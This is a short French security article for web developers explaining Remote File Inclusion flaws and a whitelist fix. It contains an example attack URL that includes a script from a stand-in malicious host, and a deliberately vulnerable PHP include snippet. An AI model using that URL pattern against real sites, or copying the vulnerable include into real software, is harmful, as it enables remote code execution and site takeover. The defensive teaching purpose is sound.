Introduction : Qu’est-ce que la faille RFI

Article à destination des développeurs web et administrateurs de sites.

La faille RFI s’apparente à la faille LFI. Elle permet également d’inclure des fichiers appartenant à un serveur externe à partir d’une URL. Mais elle permet surtout d’inclure n’importe quel fichier sur le serveur distant.

Soyez rassurés, cette faille se fait de plus en plus rare suite aux mises à jour des serveur web et des systèmes.

faille rfiQue peut-on faire avec une faille RFI ?

Cette faille permet souvent de placer un shell php sur le serveur afin de l’administrer à distance.

Des commandes peuvent donc être exécutées et d’une manière générale n’importe qui peut contrôler votre site web faillible via celles-ci.
Il est bien sûr possible d’inclure n’importe quel autre fichier sur un tel serveur. Et il est donc possible d’effectuer beaucoup d’actions diverses et variées en exploitant cette faille.

Comment savoir si mon site est faillible ?

Votre site peut être faillible si il utilise une URL comme dans cet exemple typique :

http://exemple.com/index.php?page=news

Il est donc possible d’inclure un fichier depuis un autre site :

http://exemple.com/index.php?page=http://sitemalveillant.com/script.txt

Un script php faillible typique se présente ainsi :

<?php
include($_GET['page']); //à ne jamais faire
?>

Comment se protéger contre la faille RFI ?

Pour commencer, assurez vous d’avoir tout mis à jour, votre serveur web, votre système etc.

Ensuite la protection s’apparente à celle utilisée pour les failles LFI, il suffit d’inclure les fichiers sans passer directement par une URL :

<?php
 $lespages=array('news'=>'news.htm', 'contact'=>'contact.htm', 'accueil'=>'accueil.htm');
if (in_array($_GET['page'], array_keys($lespages))) { //si la page est dans le tableau
      include $lespages[$_GET['page']]; //on l'inclut sans risques
 } else { //sinon retour à l'accueil
      include $lespages['accueil'];
}?>

En savoir plus : Les étapes à suivre pour commencer avec le Hacking

Articles similaires

Menu